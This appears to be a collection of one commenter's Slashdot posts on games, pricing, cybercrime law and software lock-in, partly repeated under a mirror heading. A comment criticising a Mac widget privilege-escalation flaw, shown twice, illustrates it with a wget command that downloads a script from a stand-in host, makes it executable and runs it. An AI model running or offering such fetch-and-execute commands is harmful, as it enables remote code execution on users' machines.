Oh, crimety. I understand why they're doing it and all, but Toontown (chat via pre-screened phrases available on a drop-down categorized menu, similar to how FFXI handled translation) was a much better implementation. You don't need to use any naughty words to say naughty things -- in fact, you can say naughty things using almost any non-trivial restricted vocabulary.
In CS:
We were doing some direct hardware to hardware interfacing, real Plug & Play, when suddenly she switched from client to server mode and the resulting spike in my CPU graph caused me to dump core.
I guarantee you sick bastards are going to be able to get Goofy with your Mickey no matter how restrictive they make the whitelist.
See, the thing is, the demographics of the market are changing. Square is still trying to sell me video games. The difference is, back when it was FFVI they were selling the game at Christmas by way of grandma, who had a very tight budget. Now they're selling it directly to me, and I now have a salary of which a certain portion can be dedicated to entertainment, and a good game is really, really low in dollars-per-hour. You know what the difference between a game at $50 and a game at $60 is? The price of one ticket to the worst movie I've ever seen. If I get 20 hours of play out of a $60 game, and thats almost absurdly low for what I play, thats $3 / hour -- there is NOTHING I can do for $3 / hour, except read books (same deal regarding price insensitivity when paperbacks went from $8 to $15 when I moved to Japan -- "Oh well, I can pay it").
Compare video games to what other "normal" folks in our age/salary brackets do for entertainment. Sporting events? Drinking at bars? Dinner with the friends? Dinner and drinks runs $40 for me, easily (did I mention I live in Japan). The problem isn't that prices are increasing, the problem is that it is slowly dawning on the industry that we're willing to pay a lot more than we've been paying.
In a red state I don't think it will just be hawks tailing these guys... "What we got ourselves here is a real live specimen of web servus linuxtrocious. Remember, just winging them won't take it down, that OSS software can take a licking and keep on ticking. Better bring out the AP ammo."
I've also been using Suica for a while with no problems, although its not nearly as problematic since its a prepaid card which I rarely have more than $20 worth on a time (cheaper than a lot of my travel passes here). I'd be a weeeeee bit more hesitant doing the credit card thing. Then again, there are cell phones that work the same way now, which makes a lot of sense -- you can control access to BOTH sides of the transaction that way, and folks are pretty good about keeping an eye on their cell phones (considering you might as well be dead in Japan if you don't have one).
No, wait! Make it so that they get even more playtime when cause the permadeath of someone's character! Its double the griefing fun!
Oh, that wasn't the design goal? Could have fooled me... Of course, some of the griefers will be doing farming, instead. Imagine two players sitting next to each other in a stock American dormroom or Chinese baang, with one of them suddenly given control over a decent-sized mob or group of mobs on planet X. He can completely nerf that encounter for his farming friends if he wants to. And the mobs you make "real" would have to be decently uber on the reward scale or no one would ever go to the trouble (and your human AIs would spend the entire time stuck at their spawn zone).
... since playing Black and White. This sounds like another possibly quite impressive tech demo which was conceived during a bout of "I am a better game designer than you" one-upmanship. And like six separate stages of the game with completely different revolutionary mechanics? Thats great... how many of these are going to be fun to play? I'm not the type who shells out $50 to look at an avant-garde piece of digital art which happens to have some interactivity in the simulation.
American law typically only addresses crimes after the fact (there are some narrow exceptions, such as threats or incitement). Congress could theoretically make it illegal to develop software which is aimed at attacking a computer network, but they haven't done so already, to my knowledge (this theoretical law would also run into some thorny Constitutional issues -- for example, the only reason Congress can bootstrap itself into jurisdiction in the law quoted in the grandparent is because of that "interstate commerce" thing which activates Congress' Constitutional powers, and while standards for that are pretty low its difficult to claim a hypothetical computer network would necessarily be in that domain). While the Patent Office shouldn't issue patents for strictly illegal devices, it is theoretically possible that this software could have legitimate uses (if you owned the affected network and all nodes on it the case would be open and shut, for example), or Macromedia could prevail at trial with the argument that inability to commit a crime is not "damage" in the sense that Congress wrote into the bill, and either of these would typically be enough to make courts very leery of authorizing prior restraint in the American context.
Its actually been illegal for quite a bit longer than that -- assuming you want criminal prosecution (there are obviously civil torts, but you can't demonstrate you suffered damage if you were only prevented from commiting a crime yourself so that could be a wash), the Computer Abuse and Fraud Act of 1984 (ahh, what a year) provides for federal felony prosecution for anyone who "transmits any code or signal" which could cause "undesired operation" or "degraded [operation]" by any "protected computer" if you do it "without authorization". The law protects all computers involved in interstate commerce. But wait, thats hella-broad, isn't it? Yep, the courts have even recognized it -- as early as 2000, when the Western Washington court noted "[the law was] intended to control interstate computer crime, and since the advent of the Internet, almost all computer use has become interstate in nature." The commerce restriction is really a nullity, too -- its almost laughably easy to find a test under which your computer is engaged in commerce ("I pay for Internet access", "I transmit information from my computer which has material value", etc, etc -- even the fact you're breaking the copyright laws is probably enough to trigger the protection).
Ahh, the wild, wild west of cybercrime law.
Disclaimer: I am not a lawyer, I just write analyses for people who are. If you would consider relying on information which was posted on Slashdot, you are too stupid to be allowed access to your own shoelaces much less an Internet account. Don't rely on the federal government to start prosecutions to save your sorry butt if your Kazaa craps out because content providers hire Macromedia.
Its a selling point in Japan. I thought the whole thing about XBox being too big for Japanese apartments was utter crap until I actually saw one of my friend's apartments -- if you gave a prisoner a cell that small they'd sue, and the court would berate probably you for trying cruel and unusual punishment. When your entire entertainment center has to fit under a TV in a box which is about a foot long on either side "hey, you can stick this baby in any crevice you can make!" is non-trivial. Most of my friends went for laptops over desktops on the same criteria, even though they're never taken outside the apartment.
"If they were to release DVD for free videos at the time they premier in theatres they would stop camera piracy, and the motive for most casual pirates."
Hmm... doesn't sound like a viable business plan, that. Especially since the DVD costs strictly more than going to the theatre anyhow, unless you're habitually taking more than 3 people or so (or live in a wacked out market like Japan where theatre tickets start at $15 for high school students and top-flight-non-collector DVDs are "only" $30).
DoD security grant = either everyone on the project gets a security clearance, or, minimally, no foreign workers (H1B et al) on the project. Google might have a hard time with either one of those qualifications.
I downloaded the Puzzle Pirates demo, which lead directly to a $25 sale two days later, after seeing an ad for it on Penny Arcade. I also bought a Dell after seeing they were having a sale, but I had been planning to buy a Dell for a while and that just made my choice of weekend for the purchase.
At least in the business setting, all good software locks your customers in. There isn't an IT department anywhere on the planet that gets up one morning and says "You know, screw it, time for a change of pace -- lets switch vendors on our database/customer tracking/data mining/image recognition/OCR/whatever solution. I want to spend a couple hundred thousand in transition costs and cause disruptions in our main business to no purpose whatsoever".
I watched a reverse sales-pitch from the CIO of Massachussets (Peter Quinn -- nice guy, sharper than most engineers I know in industry) basically pleading for there to be more OSS available for e-government. Their #1 worry with MS was lock-in, that they'd save formats in.doc in 2005 and then be stuck buying upgrades to Office 2025 twenty years later just to be able to read their own archives (with constant "improvements" on the closed standards necessitating the upgrade chain). The guy was smart as a whip.
You want to sell software to Mr. Quinn, who literally has a couple million for budget in that department? Be best in your class. Now, a little secret about that: after he installs OpenOffice on his boxen, he's every bit as locked into it as he would be if he installed MS Office. Those transition costs are basically capital and when you move to new software that capital depreciates to 0 almost instantaneously. Training, for example../ readers might laugh their heads off, but the vast majority of the government workforce does NOT rate an A+ at their wordprocessing abilities -- they know what they use every day, and that means they know Office. And if you have them use OpenOffice for 5 years instead, they'd know how to do common tasks in openOffice. But switch to a different OSS wordprocessor or back to Office or to a third vendor and all of that knowledges vanishes like dew in the morning sun. When you're talking about large organizations, the disruption in operations retraining causes runs into the millions. Its annoying even for smaller shops -- I've in R&D in a mid-sized government office in Japan and when we switched IMEs (input method editor: the thing which lets you type Japanese characters on a Western keyboard, essentially) half of our secretaries suffered major freakout and lost 2/3 of their typing speed despite the fact that the interface is *identical* (and this results in them calling up R&D confused about WTF happened, because we're not a large enough organization to have a dedicated support staff -- which leads to 6 people with PhDs spending about 30 man hours teaching 20/30-somethings to touchtype).
True enough, but even on our fairly low-population server (hovers Low/Medium in the WoW rankings), we have several hundred people on the Alliance who are more active than me at PVP, and I'd like to think I'd be somewhere on the middle-low end of commitment to PVPing (one or two weeknights and most of Saturday on the typical week). Several hundred teammates and an equal number of opponents, taken 40v40 at a time, is enough variety for anyone. Heck, I played CS for 3 years on a server which had two dozen regulars with perhaps 5 drop-ins every night, and that was still fun. Plus, you get the nice cozy people with people you've hit a few times.
Tourach, by the way, next time you try backstabbing me you'll be eating grass! I have a new Polymorph macro with your name on it -- literally!:)
No problem, just go to the place you bought your infinitely redundant power supply and buy an infinite number of ROM chips -- all you need to do is keep a central log of the outdated ones and never try to access them again. Oh, don't forget to buy an upgrade to an infinitely large warehouse.
Yes, nothing says "Credible, professional alternative to commercial software worthy of spending a portion of my technology budget on" like a porn popup.
This strain of comment always makes me want to bump my head into the wall. I've got a Level 60 in WoW, took 16 play days (not bad, incidentally -- 4 hours a night, 4 days a week, with a bit extra on weekends, from November through March or so). That would be a large time investment if WoW wasn't my main entertainment activity and if I had consistent non-work commitments like, say, raising a family. For a lot of people, some of those 16 days are wasted -- for example, a solid day of that was at level 42 killing the same 6 guys over and over and over again to get 40g to pay for my mount (if you've never played: 60% increase in overland movement speed outside of combat -- saves you literally hours and hours of time travelling and a necessity to engage in any sort of PVP because you know the other guy has one and will chase you down with it). Buying 40g for, lets see, $16 or so isn't buying a virtual good from the perspective of the buyer -- its buying advancement to the point of having the mount without the intervening 24 hours grinding those poor Kurzan I massacred trying to get enough money to afford mine. Its essentially buying a bit of your own life back. And thats bloody cheap -- I've got a business sideline, for example, with inconsistent project-based work that gets me about $30 / hour (I do it because I like it, not for the money). Buying advancement makes a HECK of a lot of economic sense for me. In fact, given the rates of return it probably makes sense for almost everybody.
So thats the psychology/economics. I'm still 100% against buying/selling content, and wouldn't do it myself. But its eminently rational if you like playing the game (and, yes, the game is designed to be more fun at level 60 than level 1 -- thats half of the reason the slow, inconsistent advancement treadmill works as a hook in the first place).
Today's Funny is yesteryear's Insightful -- my UO guild got taken for several thousand gold by just that sort of scam back in the day (when I was 16 and nobody would listen to me saying "Hey, guys, why are we giving him a key to our guild house again? Can't he just HAND us the money if he wants to give it over?")
No moderation points so I'll parrot the AC information where people will actually be able to see it -- Paris' PDA didn't get hacked, she chose an insecure password and got it guessed. The information was then downloaded from T-Mobile's web-accessible interface. No need to compromise the device at all.
"Smart cell phone" is an industry term of art for the newer phones-cum-PDAs which can, for example, execute non-factory-installed programs and download content off the Internet. Smart cell phone users are people who use smart cell phones (i.e. the ones with current top-line phones, or about 3.7% of the total installed base, at least in the American context), who are, as you might imagine, easily identifiable to survey. Distinguishing a smart phone from a regular phone is no more difficult than distinguishing a PDA from a calculator (the TI-92 is a calculator despite having text capabilities, the PalmPilot is a PDA despite having a built-in calculator, and if your phone is running, say, Symbian and has a stylus its "smart").
Why your comment got modded as Insightful rather than Funny is beyond me.
If the comments elsewhere are accurate, you can use the widget to do privilege escalation and do, essentially, whatever the heck you want. Like making a web request and running system commands. Thats game, set, match.
wget http://www.haxx0r.com/macOS/p0wned.sh
chmod 777 p0wned.sh./p0wned.sh
It never ceases to amaze me that people say "Ah, no, security feature X will save us after the exploit allows arbitrary code execution", in spite of literally decades of experience with the fact that the first thing the better exploit strains will do is disable X. Running arbitrary code from the Internet with privilege escalation possible (described in a comment a bit above me) *without any user intervention whatsoever* is just plain inexcusable. On a scale of security flaws from 1-10 in severity, thats a 76.
Incidentally, little circles in the lower left hand corner don't really help the user base at large, in much the same way as absence of little locks in the lower right corner don't stop www.payypal.com phishing attempts.
I don't know, that point about scarcity would have made a lot of sense to me a couple years ago back in high school, but now I'm a gainfully employed adult with a salary. Getting a new computer every four years doesn't scare me in the least -- in fact, its practically mandatory anyhow, and not just for gaming, and the expense per hour of use is so low as to be laughable (figuring on one $1600 new midline Dell every four years, that works out to be somewhere on the order of a quarter an hour -- I can't do ANYTHING for a quarter an hour).
Then again, this is from the guy who thinks that a $200 TV is a waste of $150.
Slashdot Mirror
In CS:
I guarantee you sick bastards are going to be able to get Goofy with your Mickey no matter how restrictive they make the whitelist.
And then if someone pickpockets you and you catch them, you can say "Hey, thief, leggo my stego!"
Compare video games to what other "normal" folks in our age/salary brackets do for entertainment. Sporting events? Drinking at bars? Dinner with the friends? Dinner and drinks runs $40 for me, easily (did I mention I live in Japan). The problem isn't that prices are increasing, the problem is that it is slowly dawning on the industry that we're willing to pay a lot more than we've been paying.
In a red state I don't think it will just be hawks tailing these guys... "What we got ourselves here is a real live specimen of web servus linuxtrocious. Remember, just winging them won't take it down, that OSS software can take a licking and keep on ticking. Better bring out the AP ammo."
I've also been using Suica for a while with no problems, although its not nearly as problematic since its a prepaid card which I rarely have more than $20 worth on a time (cheaper than a lot of my travel passes here). I'd be a weeeeee bit more hesitant doing the credit card thing. Then again, there are cell phones that work the same way now, which makes a lot of sense -- you can control access to BOTH sides of the transaction that way, and folks are pretty good about keeping an eye on their cell phones (considering you might as well be dead in Japan if you don't have one).
Oh, that wasn't the design goal? Could have fooled me... Of course, some of the griefers will be doing farming, instead. Imagine two players sitting next to each other in a stock American dormroom or Chinese baang, with one of them suddenly given control over a decent-sized mob or group of mobs on planet X. He can completely nerf that encounter for his farming friends if he wants to. And the mobs you make "real" would have to be decently uber on the reward scale or no one would ever go to the trouble (and your human AIs would spend the entire time stuck at their spawn zone).
Its just a bad, bad idea to let PCs play mobs.
... since playing Black and White. This sounds like another possibly quite impressive tech demo which was conceived during a bout of "I am a better game designer than you" one-upmanship. And like six separate stages of the game with completely different revolutionary mechanics? Thats great... how many of these are going to be fun to play? I'm not the type who shells out $50 to look at an avant-garde piece of digital art which happens to have some interactivity in the simulation.
See disclaimer in grandparent.
Ahh, the wild, wild west of cybercrime law.
Disclaimer: I am not a lawyer, I just write analyses for people who are. If you would consider relying on information which was posted on Slashdot, you are too stupid to be allowed access to your own shoelaces much less an Internet account. Don't rely on the federal government to start prosecutions to save your sorry butt if your Kazaa craps out because content providers hire Macromedia.
Its a selling point in Japan. I thought the whole thing about XBox being too big for Japanese apartments was utter crap until I actually saw one of my friend's apartments -- if you gave a prisoner a cell that small they'd sue, and the court would berate probably you for trying cruel and unusual punishment. When your entire entertainment center has to fit under a TV in a box which is about a foot long on either side "hey, you can stick this baby in any crevice you can make!" is non-trivial. Most of my friends went for laptops over desktops on the same criteria, even though they're never taken outside the apartment.
Hmm... doesn't sound like a viable business plan, that. Especially since the DVD costs strictly more than going to the theatre anyhow, unless you're habitually taking more than 3 people or so (or live in a wacked out market like Japan where theatre tickets start at $15 for high school students and top-flight-non-collector DVDs are "only" $30).
DoD security grant = either everyone on the project gets a security clearance, or, minimally, no foreign workers (H1B et al) on the project. Google might have a hard time with either one of those qualifications.
I downloaded the Puzzle Pirates demo, which lead directly to a $25 sale two days later, after seeing an ad for it on Penny Arcade. I also bought a Dell after seeing they were having a sale, but I had been planning to buy a Dell for a while and that just made my choice of weekend for the purchase.
I watched a reverse sales-pitch from the CIO of Massachussets (Peter Quinn -- nice guy, sharper than most engineers I know in industry) basically pleading for there to be more OSS available for e-government. Their #1 worry with MS was lock-in, that they'd save formats in .doc in 2005 and then be stuck buying upgrades to Office 2025 twenty years later just to be able to read their own archives (with constant "improvements" on the closed standards necessitating the upgrade chain). The guy was smart as a whip.
You want to sell software to Mr. Quinn, who literally has a couple million for budget in that department? Be best in your class. Now, a little secret about that: after he installs OpenOffice on his boxen, he's every bit as locked into it as he would be if he installed MS Office. Those transition costs are basically capital and when you move to new software that capital depreciates to 0 almost instantaneously. Training, for example. ./ readers might laugh their heads off, but the vast majority of the government workforce does NOT rate an A+ at their wordprocessing abilities -- they know what they use every day, and that means they know Office. And if you have them use OpenOffice for 5 years instead, they'd know how to do common tasks in openOffice. But switch to a different OSS wordprocessor or back to Office or to a third vendor and all of that knowledges vanishes like dew in the morning sun. When you're talking about large organizations, the disruption in operations retraining causes runs into the millions. Its annoying even for smaller shops -- I've in R&D in a mid-sized government office in Japan and when we switched IMEs (input method editor: the thing which lets you type Japanese characters on a Western keyboard, essentially) half of our secretaries suffered major freakout and lost 2/3 of their typing speed despite the fact that the interface is *identical* (and this results in them calling up R&D confused about WTF happened, because we're not a large enough organization to have a dedicated support staff -- which leads to 6 people with PhDs spending about 30 man hours teaching 20/30-somethings to touchtype).
Tourach, by the way, next time you try backstabbing me you'll be eating grass! I have a new Polymorph macro with your name on it -- literally! :)
Take that, malware authors! MS handily left us an exploit to exploit your exploits away!
No problem, just go to the place you bought your infinitely redundant power supply and buy an infinite number of ROM chips -- all you need to do is keep a central log of the outdated ones and never try to access them again. Oh, don't forget to buy an upgrade to an infinitely large warehouse.
Yes, nothing says "Credible, professional alternative to commercial software worthy of spending a portion of my technology budget on" like a porn popup.
So thats the psychology/economics. I'm still 100% against buying/selling content, and wouldn't do it myself. But its eminently rational if you like playing the game (and, yes, the game is designed to be more fun at level 60 than level 1 -- thats half of the reason the slow, inconsistent advancement treadmill works as a hook in the first place).
Today's Funny is yesteryear's Insightful -- my UO guild got taken for several thousand gold by just that sort of scam back in the day (when I was 16 and nobody would listen to me saying "Hey, guys, why are we giving him a key to our guild house again? Can't he just HAND us the money if he wants to give it over?")
No moderation points so I'll parrot the AC information where people will actually be able to see it -- Paris' PDA didn't get hacked, she chose an insecure password and got it guessed. The information was then downloaded from T-Mobile's web-accessible interface. No need to compromise the device at all.
Why your comment got modded as Insightful rather than Funny is beyond me.
If the comments elsewhere are accurate, you can use the widget to do privilege escalation and do, essentially, whatever the heck you want. Like making a web request and running system commands. Thats game, set, match. wget http://www.haxx0r.com/macOS/p0wned.sh chmod 777 p0wned.sh ./p0wned.sh
Incidentally, little circles in the lower left hand corner don't really help the user base at large, in much the same way as absence of little locks in the lower right corner don't stop www.payypal.com phishing attempts.
Then again, this is from the guy who thinks that a $200 TV is a waste of $150.